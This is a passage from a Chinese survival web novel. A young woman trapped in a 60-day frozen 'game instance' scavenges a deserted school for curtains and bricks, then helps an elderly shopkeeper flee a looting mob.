想到运气这回事,禾小满的思维又开始发散:是否存在可以增加运气的道具呢?比如四叶草和兔脚什么的?她的骰子可以升级,那是不是升级后投到低点数的概率就小了?或者“大凶”也能变成“小凶”?
而且系统显示骰子还有未解锁的技能,这让她心里像被猫爪子挠一样,无比好奇。
系统还明确显示了骰子的升级材料:生存点数。那再想想,生存点数就是系统发放的代币吧?除了升级骰子,禾小满猜测,这个生存点数也许可以让她兑换或者升级其他的道具。
【垃圾夹】这个道具也让她很好奇,她昨天用它夹了一天的垃圾,但它半分反应都没有。系统总不可能真给她发个普通的垃圾夹吧?还是说系统定义的垃圾不同于她现在捡的垃圾?
不过可惜她目前也只能猜猜,生存点数要等她撑过60天,通关副本结算后才能获取,【垃圾夹】的用处也许也是要特定条件下才能显现。
远水解不了近渴啊,禾小满无奈地磨着手中的易拉罐。
她手中的这个易拉罐,是她新发现的烧水神器。用锅又重又废木头,用易拉罐烧水就方便多了。只要把易拉罐顶部剪开,洗干净,往里面灌上雪或水,然后在下面用小火慢慢加热把水烧开就好了,效率提升显著。
至于是不是有别人的口水和细菌混在里面……既然她已经洗了很多遍这个罐子,其他的就不要多想了。
不过这种原始的烧水的方法还是有诸多不便,一是必须找个东西夹着易拉罐,保证火苗能稳定加热瓶身底部,而不是烧到手或者把易拉罐打翻;二是要小心易拉罐剪开后那锋利无比的边缘,避免划伤舌头和嘴唇。
……要是真划伤了她就只能考虑学腹语了。
虽然不能出门,但是禾小满能做的事情很多。
首先就是改造她的床铺。
原本她的床上只有一层薄薄的床褥,怎么形容呢——薄得仿佛能直接硌到她的灵魂。睡觉时她总感觉丝丝缕缕的寒气透过金属透过床褥,源源不断地传上来。现在她手里有一些纸箱和捡来的报纸,于是她像给蛋糕垫底一样,把它们一层层铺在了床褥下,为她隔绝冷空气,制造一点可怜的保温层。
她以前去乡下的奶奶家时,就睡过类似的床,只是那时候床褥下垫的不是纸箱。而是干爽蓬松的稻草,比这可舒服多了。
至于她的被子,因为暂时没有更多材料,只能继续裹紧那床薄被和所有能盖的衣服,将就着过。
二是收拾东西,整理物资。
她的安全屋有三房一厅一院,可以说东西是少少的,空间是够够的。除了三轮车被盖上防水布停在院子角落以外,其他的东西她放进了室内。她已经规划好了:所有布料、工具、以及骰子、钱等贵重物品放在她睡觉的主卧,触手可及;食物和其他杂物放在另一间卧室,算是仓储中心;一间卧室暂时空出来备用;客厅则堆放那些捡来的家具和未来可能捡到的柴火。
是的,虽然现在灶台连个影子都没有,禾小满就已经未雨绸缪地开始考虑柴火的事了。等天气再冷一点,如果真的能垒起灶台或者弄到炉子,烧火取暖做饭肯定要消耗不少燃料。她打定主意,一旦搞到柴火,必须都抱进室内干燥处存放,绝不能让它们在室外停留,被雪打湿了可就白费劲了。
三是考虑更长远更现实的卫生问题。现在零下十度左右,虽然水流很小,但水管还勉强能滴出点水。她担心的是,自来水系统彻底停摆后,除了饮用水,还有如厕和洗漱的问题。
禾小满仔细检查了安全屋内的马桶,只是最普通的马桶,看它这个容量,水箱蓄不了多少水,马桶里也装不下多少……屎。
她暂时想了两个办法解决未来可能的拉屎危机:一是把雪融化成水,灌进水箱里继续使用,但这个方法仔细一想又麻烦又浪费燃料;二是用雪掩埋排泄物,拉一次盖一次,做到眼不见为净。
……总感觉哪个方法都不美妙,还是珍惜现在能正常拉屎的日子吧。
除了如厕,还有月经和卫生巾的问题也困扰着她。
60天,不出意外的话,她大概需要经历2次月
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经。虽然她不怎么痛经,但血流的问题还得她来解决。
她那天在杂货铺竟然忘了采购卫生巾这回事!现在想想实在后悔。不过,禾小满现在也在为卫生巾的成本犹豫,两次月经,按最低标准算,至少也得准备个二三十片吧?也不知道在这里一包卫生巾的价格如何。
要是很贵的话,她都要考虑自学成才,动手做可重复使用的布艺月经带了。她之前在网上偶然看到过教程,大概就是用柔软的布做主体,中间弄个口袋,可以填充草木灰或者干净的棉花、甚至多层纸巾,定期更换填充物就行了。
布她这里倒是有一些,她可以从衣柜的衣服中选一件最干净最柔软的来改造。她已经拿着针线试着缝了一个,虽然针脚和形状有点惨不忍睹,但应该勉强能用。可是更关键的问题来了——怎么找填充物。草木灰得烧柴,至于棉花和纸巾,前者要找,后者要买。
除此之外,日常洗漱也是个问题。
她这两天每天只是拿毛巾蘸水,象征性地擦把脸。鉴于越来越冷的天气和毫无保暖措施的卫生间,没有浴霸、没有空调、更没有吹风机的禾小满,已经做了一个艰难的决定:接下来这几十天,她大概率都不会洗头发和洗澡了。
60天不洗头不洗澡,光想想就觉得头皮发麻,浑身发痒。但比起冒着感冒的风险,似乎脏一点也不是不能忍受。
不敢想象60天没洗的头发会油成什么样,但是禾小满不打算剪掉它们。头发好歹也算一点额外的保暖,能护住脸颊脖颈和后背。
洗澡的话,或许等以后垒好灶,燃料充足了,可以烧点热水,小小地擦洗一下关键部位,权当是极限条件下的清洁了。不过这也是遥远未来的计划了。
现在洗漱中最困扰她的就是刷牙。安全屋里压根牙刷都没有一支,她每天只能接点冷水,“咕噜咕噜”拼命漱口,尽量冲走口腔里的食物残渣。
古人好歹还有青柳蘸盐的清洁方法呢,她现在别说青柳了,方圆十里连一颗绿色的树都很难看到。盐更是没有。
拥有时不珍惜,失去后才后悔莫及。这句话简直能完美形容禾小满现在的心情。21世纪那些唾手可得的生活用品是那么方便快捷,平常用的时候毫无知觉,现在什么都没有的时候,才无比想念。
禾小满只感觉自己和鲁滨逊一摸一样,一样流落荒岛(虽然是副本)、一样的缺衣少食、所有的东西都是自己捡自己造、区别在于鲁滨逊是从沉船上打捞宝藏,她则是从垃圾桶里挖掘宝藏。
不过鲁滨逊要在岛上呆28年,她只要在副本呆60天,幸好幸好……但这也不是重点!
重点是骰子大神什么时候才肯高抬贵手,放她出门啊!她想出门捡垃圾啊!
终于在第五天的早晨,骰子大神似乎听到了她内心的哀嚎,停止给她投掷一点了,那枚塑料小方块翻滚几下,停在了三点。
【今日运势判定:平。波澜不惊,一切如常。无功无过,是为常态。】
平平无奇,但足够了!终于可以出门了!禾小满几乎要喜极而泣。
8. 【极寒天灾】
终于可以出门了,禾小满精神抖擞,迅速收拾好东西,骑上三轮出发。
运气是平平,但已经足够了。连续两天被困在安全屋里,实在憋死她了。
外面的风雪比前几天更大,狂风卷着密集的雪片,打得人脸颊生疼。
系统上显示的室外温度是零下15℃。禾小满有些担心,不知道温度最终会降到多少度,现在才只是副本的第五天而已,这种降温速度简直像是奔着打造冰河世纪去的。
还是和前几天一样,一路上基本看不到人影。但今天不同的是,道路上有许多新鲜的、纵横交错的轮胎印,格外刺眼。
就在刚刚,她看到一家四口正急匆匆地把几个大包小包塞进汽车的后备箱,随即砰地关上车门,毫不留恋地扬长而去。
除了那些无人居住的空屋,小镇里其余的每家每户基本都有汽车。禾小满发现,很多原本停在路边或者院旁的汽车都消失了。
是去城里了吗?确实,这个小镇太小了,一但唯一的商店关门了便什么都买不到,不如去别的地方找找机会。
禾小满有些羡慕地看着汽车消失的方向,但是也只是叹了口气。不说她根本不认路,能不能靠着这辆破三轮跨越漫长的距离抵达所谓的“城里”。就只说安全屋,虽然现在的安全屋很破,但至少那也是个能遮风挡雨的地方。如果离开了小镇去往未知的城市,她可不确定系统会不会再为她设定个安全屋。如果没有,她要么冒着被美式居合的风险闯空门,要么改头换面去桥洞下做真正的homeless了,还不如在这里苟着。
骑行在冰冷的街道上,途径杂货铺时,禾小满下意识地放缓了车速,想着跟冯阿婆打声招呼,却看见杂货铺的前门却罕见地紧闭着,门上挂着一把沉重的锁。
冯阿婆闭店了?还是也像其他人一样搬走了?不会出什么事吧?禾小满心里涌起一股担忧。她赶紧下车,把三轮车支在路边,走近查看。
前门紧锁,窗户也关得严严实实的,只能透过窗帘缝隙勉强看见里面空荡荡的货架。
禾小满犹豫了一下,推着车绕到店铺侧后方。她记得后面是仓库和冯阿婆她们一家居住的地方。
后门也紧闭着,不过窗户虚掩着,留了一条缝。禾小满凑过去,轻轻敲着窗户玻璃,低声呼唤:“阿婆?阿婆?你在家吗?是我,小满。”
片刻后,窗户打开,那一丝缝隙扩大,冯阿婆憔悴而警惕的面容出现在后面,看到是禾小满,似乎才松了口气。
“小满啊……我已经关店了,有什么事啊?”冯阿婆的声音压得很低,带着疲惫。
阿婆关店了吗?也好,现在这种情况,关店确实是明智之举,万一有饿红眼的顾客进来找不到食物,发疯迁怒于人那就太危险了。
“阿婆,我没别的事,就是看到您关店了,有点担心您。”禾小满也压低声音,“我今天看见路上有很多轮胎印,镇上一些人已经开车走了,可能准备离开小镇了,您……您有什么打算呢?”
冯阿婆的脸上有一丝恍惚,她沉默地想了一会儿,犹豫地说:“都走了啊……好,好……我知道了。我再想想,等老头子回来了,我和他一起商量商量。”
禾小满本来还想继续劝劝冯阿婆早点做打算,但她又想起,阿婆一个人,车又被她丈夫开走去进货了,这时候等家人回来一起做决定确实是最好的选择。
现在只希望那个人能尽快平安回来吧……至少不要出什么意外。禾小满在心里默默祈祷。
她没再多说,把她手上仅剩的钞票递给冯阿婆,央求她给自己拿几包卫生巾,随便什么牌子都行,金额差不多就行。
因为禾小满要的不是紧缺的食品,而是这种细水长流售卖的生活用品,仓库里还有一些储备。冯阿婆点了点头,接过钱,按照金额给禾小满拿了些,很快便提着塑料袋从窗口递出来。
接过卫生巾,禾小满郑重地道谢,然后重新骑上三轮,继续向着学校的方向前进。
和那天去加油站一样,也是越骑越偏僻,建筑物越来越稀疏,风雪似乎也更加肆无忌惮。从杂货铺出发大概又骑了一个小时后,总算到达了目的地。
和国内常见的高墙大院、气派教学楼不同,小镇的学校外面没有围墙和高高的栅栏,是全开放的,一眼就能望到头,显得格外空旷。教学楼也只有一层,是占地面积很宽阔的平房,看起来低矮而敦实。
除了教学楼以外,这里还有一个篮球场和沙地,一大片草坪包围着学校,在天气好的时候,学生们大概可以在室外自由自在地奔跑玩耍。
全开放式的校园正好方便了禾小满,她直接骑车骑到教学楼的出口,把三轮车停在台阶下面,自己上去搜查。
教学楼里的走廊很干净,大概是闭校时被清理过一遍。墙上一些装饰品都已经拆除了,只留下些钉子和胶带的痕迹。
禾小满轻轻推开一扇门,走进了教室。教室比起她上学的学校教室更小一些,窗帘静静的拉着,课桌是以小组形式拼在一起的,教室最前方是白板和多媒体设备,现在自然也都已经关了机,蒙着灰。学生们的个人物品和大部分教学用具基本都已经被带走了,只在角落零碎地看到了几本忘记清理的书籍和练习册。
禾小满一连搜查了几间教室,情况都大同小异,教室里的设施大差不差,空荡荡的内容也很一致。
教学楼中段区域就是办公室了。办公室倒是很大,中央摆放着数张办公桌,靠墙则是整齐的一排文件柜。一些没有收拾完的文件夹、置物推车、收纳框收纳箱、和一些敞开的纸箱,就那么凌乱地散落在地上。
教室里太空,没多少东西,办公室地上这些残留的东西,倒是有不少禾小满想要的。
……不过就算没有她想要的,她也不会空手回去的。
首先,这个收纳箱必须带回去,刚好她的安全屋里缺少收纳工具。唯一的橱柜塞满了,很多东西都只能堆在地上,这个可以拿回去刚好有用。
禾小满把最大的一个塑料收纳箱拖到办公桌前,准备一边搜刮一边打包。
桌面最多的就是各种文具。禾小满选了几把裁纸刀和剪刀,放到一旁。她手里的折叠刀,锋利是锋利,但有的时候剪布料或者开纸箱,还是这种专门的工具更顺手,她得带走。
然后是双面胶、固体胶、别针、夹子、大头钉这类文具,禾小满也都各捡了一些,统一装在收纳盒里。虽然她现在还不需要,但是这种小玩意指不定哪天就会派上用场。
学校最不缺的就是书籍和纸张。禾小满随意翻了翻桌上的书,基本都是学生的课本和练习册,练习册上还有老师批改的印记。
……甲乙两人从A、B两地同时出发,相向而行,30分钟后他们相距330米,再经过5分钟后两人相遇,求A、B两地相距多少米?
330÷5=66……禾小满不知不觉中拿起了一旁的铅笔和草稿纸,打起了算式。
片刻后她猛地反应过来,一巴掌拍掉自己手里的铅笔,面无表情地把那本练习册和草稿纸一起丢进收纳箱。
她来这是捡垃圾来的,不是写小学生数学的,锻炼脑力这种事还是等结束副本回地球了再说吧。
她开始把桌上一沓沓的草稿纸和练习册往收纳箱里丢,她准备拿这些来引火,纸张是最好的引火材料,她这两天都是从床下揪一截报纸来点火。
捡完了桌面的东西,禾小满开始扫荡抽屉。抽屉有的没上锁,有的上锁了。对于上锁了的,禾小满毫不客气,拿出刚才找到的剪刀,用坚硬的把手部分对着锁头使劲戳砸,几下就能弄开。
抽屉里大多也是一些文具纸张,没什么特别的。但翻了无数个抽屉后,禾小满还是找到了个让她眼前一亮的东西。
收音机。
收音机可能是教学用具,外壳上粘贴了许多介绍元件的标签。禾小满对此无比开心,这正好方便她,她还怕把收音机鼓捣坏了呢。
虽然她打定主意这60天就苟在小镇,但能多了解一下外面的情况总是好的。万一收音机能收到什么天气预警或者新闻广播呢?哪怕只是听个响,也能驱散一点这死寂般的孤独。
又从其他抽屉里搜到了几块电池,不管型号符不符合,禾小满都把它们和收音机一股脑打包放入收纳箱。
继续在办公室里一个又一个柜子的翻找,找到的基本都是文具、纸张和办公用品这些小物件,偶尔有一些看起来有用的小工具,都被禾小满笑纳了。
这里不像垃圾桶,能翻到食物这类生存必需品,但这些小物件对于改善她的“居家”环境还是很有帮助的。
捡的差不多了,禾小满拿起胶带和剪刀,准备给塞得满满的收纳箱封口,只靠盖子还是不太保险,万一路上颠开就不好了。
时间流逝,天色逐渐暗淡。禾小满感受到了光线的变化,走到窗边,想把窗帘拉得更开些,让更多光线透进来,好让她看清打包。
手指触碰到窗帘布料——是高支密的精梳缎面,天蓝色的表面没有什么花纹,只蒙着一层浅浅的灰尘,但摸起来很厚实,质感居然不错。
左手摸着厚实的窗帘,右手拿着准备打包的剪刀,禾小满忽然福至心灵,眼睛唰地亮了。
她可以把这些窗帘拆回去啊!铺床!或者当被子盖!
她现在的床褥下面虽然已经铺了纸箱,但保暖层永远不嫌多,再垫几层也无妨。至于被子,她昨天还在为此头疼,现在有办法了!她可以把这些窗帘叠起来盖在被子上,一张不够盖两张,两张不够盖三张,反正这里有的是窗帘。
说干就干,禾小满立刻选了张最近的办公桌,把它拖过来垫在脚下,然后站上去,伸长手臂去够窗帘的上端。
窗帘上方都是滑轮钩子。好取的她就耐心摘掉,不好取或者锈住的,禾小满直接一剪刀咔嚓,根本不管窗帘的完整性——反正横竖她是拿回去当铺盖的,又不用重新挂起来。
如法炮制了另外几扇窗的窗帘,禾小满没有停手,带着剪刀转身就出了办公室。
她要把教室里的窗帘也统统拆掉!
教室的桌椅比较矮,禾小满需要把椅子搬到桌子上,再小心翼翼地爬上去,才能够到窗户最上端。她站在摇摇晃晃的高台上,迅速地拆着窗帘。厚重的窗帘哗啦一下落下来,扬起一片灰尘,呛得她打了个大喷嚏。
好吧,禾小满承认,她盖窗帘的想法是有点寒碜。想之前她的床上,不说是什么蚕丝天鹅绒,好歹也是画了好几百买的品牌空调被,冬暖夏凉、舒舒服服。现在她竟然沦落到垫纸板盖窗帘的地步了,真是闻者伤心见者落泪。
不过这也没什么。
她第一天醒来的时候,睡的是公园长椅
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,盖的是过期报纸呢。
现在她有砖房睡,有窗帘盖了,也算跃升了一个阶级。
真是感谢系统给她的进步机会啊……真是太感谢了,太感谢了,有机会她一定要当!面!感!谢!
一连拆了十几条窗帘后,禾小满觉得差不多了。这些窗帘每张都很大,完全可以裁开分成两三部分使用,足够她改造床铺了。于是她心满意足地收手,把窗帘抱回办公室,准备打包。
幸好办公室里的收纳工具足够多,收纳箱不够用还有纸箱。禾小满把窗帘一条一条仔细叠好,分门别类地放进不同的箱子里。
真不错!禾小满看着这几大箱“布料”,成就感满满。虽然今天的主要目标砖头还没影,但这些窗帘也很有用,能让她的保暖指数再次上升一个等级。
她把所有东西都收进箱子打包,临走前,又顺手拿了几个结实的收纳盒放在最上面。最后扫视了一眼办公室,关上门,把东西拖到走廊,准备分批运到三轮车上。
三轮车上已经积了一层浅浅的雪,禾小满把雪拂开,拉起防水布,把今天的收获——主要是几大箱窗帘和文具纸张——小心翼翼地放进车斗。
零下十五度的天气,天空依旧是灰蒙蒙的。禾小满重新裹紧毛巾帽,准备打道回府。
临走前,她看了一眼空旷的操场和沙地。空荡荡的场地,在铅灰色天空下显得格外孤寂,甚至隐隐透出一丝说不清道不明的恐怖氛围,让她想起了小时候寒假里空无一人的校园。
要赶紧回去了,再不回去就天黑了。禾小满骑上车,蹬了十几米远,心里却像是有只小猫在挠一样。她猛地捏住刹车,停了下来。
不行,她还有操场和沙地还没搜过呢!
虽然那里一眼望过去空空如也,只有些孤零零的运动器材和枯树,但万一呢?万一有遗漏的好东西呢?
真正的拾荒者,是绝不可能放过任何一个角落的!
反正没多远,就去看一眼,看一眼就死心回去。禾小满给自己打气。
很快,骑了不到两分钟,她就到了操场边缘。确实,如她所料,沙地上除了几个运动器材外,什么都没有。操场旁边也只有几棵光秃秃的树。然而,就在树丛和操场边缘的交接处,一片被积雪半掩的枯草后面,禾小满发现了意想不到的好东西。
砖墙!
这像是一个没建完的工程,看着高度才刚过她膝盖的四面矮墙,禾小满估摸着可能是一个未完成的花坛或者树池的基座。墙不高,水泥都没有糊多少,红色的砖块裸露着。
禾小满的心脏激动地砰砰跳起来,这可是她第一次在小镇上如此清晰地看到砖的踪影。之前虽然看到很多房子,但外墙大多有覆盖,她也没法确定材质。
虽然不是堆好的现成砖块,但这难不倒禾小满。她以前在村里见过别人家装修,拆旧房的同时,把敲下来的砖保留好,等着砌新房时继续用。
她立刻从三轮车斗里翻出消防斧,走到砖墙前,用斧背对准砖块之间的缝隙,一下又一下地敲击起来。她砸得很小心,尽量不损坏砖体本身。
也多亏这个“工程”烂尾得彻底,砖块上的水泥粘合得并不牢固。“咚咚咚“的几下之后,最上层中间的一块砖头开始松动,最终“啪嗒”一声掉到了地面。
第一块成功了,后面就好办多了。禾小满沿着这个缺口,逐一敲击着旁边的砖块。一块、两块……四面矮墙中的一面,很快就全部被她拆散,地面散落了一地的红砖。
尽管已经很小心了,但还是四分之一的砖块在敲击过程中断裂了,让她心疼不已。不过剩下的四分之三完好无损,粗略数数也有五六十块,应该够她搭一个简易的灶台。如果不够,她还可以下次再来拆剩下的三面墙。
因为又加了砖块的缘故,原本就满满当当的车斗更是不堪重负,轮胎都肉眼可见地瘪了一些。禾小满不得不取出一箱她相对不那么紧急的书籍和纸张,暂时搬回教学楼里放好,留着下次再来拿。
重新骑上车,用力一蹬,这重量果然非同凡响,比以前的货物沉多了,沉得她恨不得站起来蹬。
虽然累,但禾小满心里充满了丰收的喜悦。砖头唉!她心心念念的砖头唉!回去她就可以尝试垒灶台了,温暖的火焰,热水热食仿佛都在向她招手。
一见到砖头,立刻想到灶台,立刻想到烧火做饭,立刻想到烤红薯炕土豆,立刻想到蒸羊羔蒸熊掌蒸鹿尾儿烧花鸭……仿佛已经闻到了食物的香气,禾小满的想象唯在这一层能够如此跃进。
怀揣着期待,禾小满感觉腰也不酸了,腿也不疼了,就这么吭哧吭哧地顶着风,往小镇方向骑去。
远远地已经能望见杂货铺的轮廓了,估摸着还要再骑半个多小时才能到家。禾小满刚准备加把劲,一鼓作气骑回家,却忽然发现杂货铺门口的情况似乎不对劲。
好像有一群人正围在那里吵吵嚷嚷的,声音顺着风隐约传过来。
她眯起眼睛仔细看,心跳陡然漏了一拍——确实有一群人围在杂货铺紧闭的大门前,情绪激动地大声嚷嚷着什么,还用力拍打着、甚至是用身体撞击着大门,发出“哐哐”的震天响动。
“开门!快开门!我知道你在里面!肯定还有吃的!”
“拿出来!把食物交出来!”
“再不开门我们就把门砸了!”
9. 【极寒天灾】
注视着眼前这混乱暴力的场面,禾小满只觉得周身涌上一股寒意。这远远超出了一个普通小镇邻里纠纷的范畴,更像是灾难电影里秩序崩塌的前兆。
冯阿婆怎样了?会不会有危险?尽管她知道这只是场虚假的游戏,等60天的副本时间一过,这个世界的一切都要和她说再见,但这一瞬间的担忧确实如此真实。
禾小满犹豫了几秒,还是决定去看看,看能不能帮助冯阿婆,尽了这几天的缘分。
因为收拾砖块耽搁了很长时间,今天回家的时间相比往常晚了许多,天已经黑透了。再加上她是从北面骑车来的,而杂货铺的大门朝南,所以暂时还没有人注意到她这个不速之客。
禾小满赶紧下车,环顾四周后,迅速将三轮车推进路边一处荒废的院子里,直到车身被树木和灌木丛遮严实后,才悄悄出来,借着阴影的掩护,小心翼翼地朝杂货铺靠近。
走了几步,离杂货铺更近了一些,嘈杂的叫骂声和拍打声愈发清晰刺耳。禾小满这才发现,杂货铺大门口竟然还停了一辆厢式货车。
刺眼的车灯照在地上,雪花在车灯前飘落,驾驶舱里坐里坐着的正是迟迟未归的汉克。
汉克已经五六十岁了,此刻他眉头紧锁,脸上是止不住的愤怒和恐惧,双手紧握着方向盘,脚虚悬在油门上方,似乎随时准备冲出去。他正朝着挡在车头前面的壮汉大喊:“FUCK!车厢都打开了,你们到底要怎样?没有食物!没有!滚开,别围着我们了!”
货车的后车厢门已经被强行打开搜查了一遍,里面确实空空如也。但这并不能让这群人信服,还有人跃跃欲试,想爬上驾驶舱试图检查一番,但汉克把驾驶舱的门锁得紧紧的,车窗也升到顶,不留一丝缝隙。
站在车头面前的男人正是鲍勃,在车灯的照耀下他的面容格外狰狞扭曲,他呲着牙,朝车内的汉克咆哮:“我们这么多年的邻居,难道会不付钱吗?一直都是你提供货物,我们给你钞票。但你现在带着货车回来,却说一份食物都没有,尽他妈的骗人!”
鲍勃手中的木棍猛地竖起,指向杂货铺的大门,朝着周围蠢蠢欲动的人群说道:“哈,这两个老不死的骗子,他们是开杂货铺的,难道会没有吃的吗?货架上那些货、仓库里那些货都去哪里了?为什么一点也不卖给我们?”他手中的木棍狠狠地挥了一下,“货车里的货物肯定早就偷偷运进杂货铺了,所以车厢才会空荡荡的!”
零下15°的严寒天气,他们似乎完全感受不到寒冷,每个人都被愤恨和暴虐支配着,选择性忽视了他们亲眼看着货车从镇外开进来,亲手扒开了空荡荡的车厢这一事实。
看到这群人癫狂的样子,感受到货车因为外面人的推搡而微微摇晃,汉克握着方向盘的手隐隐发抖。
疯子!他们都疯了!这还是以前那些会和他一起钓鱼、打牌、偶尔喝一杯的邻居吗?恐惧和难以置信的情绪交织在汉克心头。
禾小满躲在暗处,听了一耳朵汉克和鲍勃的争吵,心不断往下沉。趁着所有人的注意力都集中在货车和前门的时候,她快速跑向后门。
她急速地敲击着后门的窗户,声音压得极低,几乎是从齿缝里挤出来:“阿婆阿婆!我是小满,快走,前面那些人疯了!”她现在恨不得用拳头砸窗好让声音传进去,但又生怕动静太大把前面那群人吸引过来,只能强忍恐惧,一下下地敲。
冯阿婆此刻正在仓库里胆战心惊。半个小时前,这群人不知怎么地就围在了杂货铺门口,从最初还算克制的敲门迅速演变成了疯狂的砸门,口口声声说要买食物,但那语气里的狠戾和威胁,让她浑身发冷。
更何况,她哪里还有食物!杂货铺的商品早在两天前就真的全部卖光了,她现在吃的不过是自家厨房里的一点存粮,难道连这个也要交出去吗?
听着外面越来越响的嘈杂声和砸门声,她愈发不敢出声回应,前面的店面更是不敢过去了。趁着夜色和窗帘的遮挡,她就在后面的仓库和小卧室里,手忙脚乱地收拾着东西。
护照、证件、钱、食物、水……冯阿婆也不知道自己为什么下意识地在收拾,真的要抛下这个经营了大半辈子的杂货店吗?这可是她和汉克几十年的心血啊。而且冰天雪地的,她能往哪儿跑?她跑了,汉克还没回来,怎么办?
虽然她的手在颤抖,但收拾东西的速度却没有慢下来。
听过的故事、这六十年的经验、和她的直觉都在告诉她,绝不能和外面这群人起冲突。
后门的玻璃忽然被急速敲响,冯阿婆的心也随之猛地一跳,几乎跳到嗓子眼——
窗户掀开一条缝隙,冯阿婆的面容隐隐出现在后面。禾小满直接扑了上去,语速极快,像爆豆子一样噼里啪啦地说明了情况:“那群人打开了货车的货厢,没看到食物,怀疑食物都藏在杂货铺里了,估计一会就要强行闯进来了,您赶紧走吧!”
冯阿婆脸色煞白,直接开门把禾小满迎了进去。两人没再多说,冯阿婆迅速地将一些紧要物品快速打包,禾小满也在旁边帮忙,看到阿婆要取一些高处的东西时,就立刻伸手帮她拿下来。
后门和前门都被从里面锁死了,但前面铺天盖地的拍门声撞门声依然不断传来,在安静的仓库里回荡,显得格外恐怖和压抑。
几分钟后,伴随着一声巨大的玻璃碎裂的脆响,然后是杂乱的脚步声、兴奋又粗暴的翻找声、货架被推倒的哗啦巨响……清晰地从前面店铺传来。
听到这声音,两人都是心里一凉,最后一丝侥幸也破灭了。冯阿婆也不再收拾剩下的零散食物了,当机立断,抓起最重要的两个包,和禾小满一起迅速从后门溜了出去。
刚出后门,禾小满一眼就看见一个男人正鬼鬼祟祟地往后门绕过来,他竟然没有和其他人一起去前面的店铺哄抢,而是想抄后路!看见禾小满和拎着大包小包的冯阿婆,男人的眼睛瞬间亮了起来,那眼神活像是看到了肥羊,充满了贪婪和威胁。
“滚!”禾小满压低嗓音,直接反手从背包侧袋抽出了消防斧,朝着那男人比划了一下,斧刃在微弱的光线下闪过一丝寒芒。她的心脏在胸腔里狂跳,但手臂却努力稳着。
冯阿婆也毫不含糊,反应极快,立刻把左手那个装着食物的袋子口朝下一抖,土豆、苹果、和一小袋米“哗啦”一下散落在地上,咕噜咕噜地滚得到处都是。
食物!男人的注意力瞬间被地上滚动的新鲜食物吸引了,下意识地弯腰想去捡。就在他犹豫的这一会功夫,禾小满和冯阿婆两人赶紧转身,沿着房屋的阴影快步离开。
两人先快速远离后门,找到一丛茂密的冬青灌木后躲了进去,紧张地观察着,她们的目标是汉克的货车。
很快,随着杂货铺里传来的打砸声和发现“宝藏”的欢呼声越来越大,原本守在车旁那几个人也按捺不住,纷纷扔下车,冲向了杂货铺内妄图分一杯羹。
就是这个机会!趁着车旁暂时没人的空挡,这是把冯阿婆安全送上车的唯一窗口!
禾小满也不废话,直接蹲下身示意冯阿婆趴上来,把行李递给阿婆让她拿着,然后深吸一口气,拔腿就向着货车驾驶舱猛冲过去。
积雪在一定程度上掩盖了她们的脚步声,暂时还没有人发现她两。
快!快!开门!禾小满一口气冲到货车副驾驶门口,把冯阿婆放下来,死命地拍打着车门。
车内的汉克一直紧张地盯着后视镜,看到了她们的身影,立刻侧过身体,奋力从里面打开了车门,伸出手拼命去拉冯阿婆。
她们的动作已经很快了,但杂货铺门口还有负责望风的人,一个男人恰好转头,看到了车附近的三人,立刻大喊一声:“汉克一家要带着东西跑了!快来!她们手上提了吃的!”
这一声叫喊如同投入滚油中的水滴,瞬间炸开。立刻有人从杂货铺里冲出来,眼神凶狠地看向货车。
禾小满更急了,使出吃奶的力气把冯阿婆推上车,站在车下飞快地把行李往驾驶舱里丢。她回头惊恐地瞄了一眼,已经有人叫骂着冲过来了!禾小满想也没想,直接用肩膀猛地一顶,把车门“砰”地一声关上,急切地朝着车内喊:“阿婆你们快走吧!我也要走了!”
再不走,她就要被堵在这里了!
货车的引擎发出轰鸣声,一部分人还在杂货铺里翻找,一部分人已经反应过来,试图冲过来拦住货车。
副驾驶的车窗摇下来一小半,冯阿婆匆匆将一个黑色塑料袋丢给禾小满,禾小满下意识接住,也来不及看是什么,只匆匆比了个OK的手势,然后头也不回地朝着与汽车相反的方向拔腿狂奔,甚至连冯阿婆最后一句叮嘱的话都没听清。
她是真的要跑了!那群抢红了眼又没找到多少食物的人,百分百会拿她疑似“帮凶”的人出气!冯阿婆和她老伴还有货车这个铁壳子,逼急了还能撞开一条路,她只有两条腿,要是被逮住了就彻底完了!
禾小满没有回头,拼命奔跑,专门挑黑暗偏僻有遮挡的地方钻。一口气跑出了一百多米,回头看了看,确认没有人追上来,她才敢弯下腰,扶着膝盖大口喘气。
大多数人还沉浸在杂货铺的抢夺中,小部分人聚集在启动的货车前试图
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阻拦,似乎没有人注意到她这只无关紧要,手上看起来也没多少东西的小老鼠。
还好还好,她松了一口气。
禾小满稍微平复了一下呼吸,在夜色和树木、房屋阴影的遮挡下,慢慢地摸回了离杂货铺稍近一些的位置。她选中一个枝叶茂密、积雪深厚的灌木丛,整个人小心翼翼地钻了进去,蜷缩起来,透过交错的枝叶缝隙,观察着那边混乱的情况。
货车已经启动并开始加速,还有人试图阻止冯阿婆他们离开,尝试追上他们,朝车窗上扔雪块和小石子,甚至有一个企图扒住车门。但货车猛地一个加速转向,把扒车门的人甩飞在雪地里,然后冲破了人群的阻碍,迅速消失在街道的尽头。
冯阿婆她们能安全离开就好,禾小满提着的心总算放下了一半,但很快又为自己担忧和懊恼起来。
她也太冲动了!平时她也不是那么热心的人啊,帮助了冯阿婆是好,万一搭上自己那就亏大发了。
虽然她是从后门溜走的,只有后门那个男人和她有过近距离照面,其他时候她都躲在阴影里,在车门口停留的时间也很短。
但是万一有人记住了她的身形或者衣着怎么办?
禾小满趴在地上,下意识地摸了一下插在背包里的斧头,又调整了一下自己脸上挂着的毛巾。她下车时特地脱了那件冯阿婆给的红褐色外套,换回了最初那件毫不起眼的黑色冲锋衣,就是希望能尽量掩盖自己的身形样貌。
她刚来这里没多久,没怎么和镇上的人打过交道,见过的人一只手数的过来,理论上应该没人认得她。但这种时候,任何一点谨慎都不为过。
杂货铺门口,刚刚那个喊叫的男人懊恼地锤了一下自己的大腿。他一开始没有进杂货铺去抢,就是觉得里面人太多,怕分不到什么好东西,才想守在货车旁,看看能不能从汉克那里单独敲诈出点什么。但里面翻箱倒柜的嘈杂声又弄得他心痒难耐,忍不住走过去看一眼铺内的情况。
没想到就这一眨眼的功夫,不知道从哪个犄角旮旯里冒出个人,居然就把老太婆给弄上车了!还没等他们反应过来追上去,那个身影就跟兔子一样一溜烟跑没影了。
天色漆黑除了车灯,所有人只能靠月光和手电筒来照明。他根本看不清那个人的具体样貌,只记得个子不算矮,穿着一件极其常见的黑色外套,混在人堆里根本认不出来。他甚至阴暗地猜测,是不是抢东西的队伍里出了叛徒,暗中帮忙把老太太送上了车。
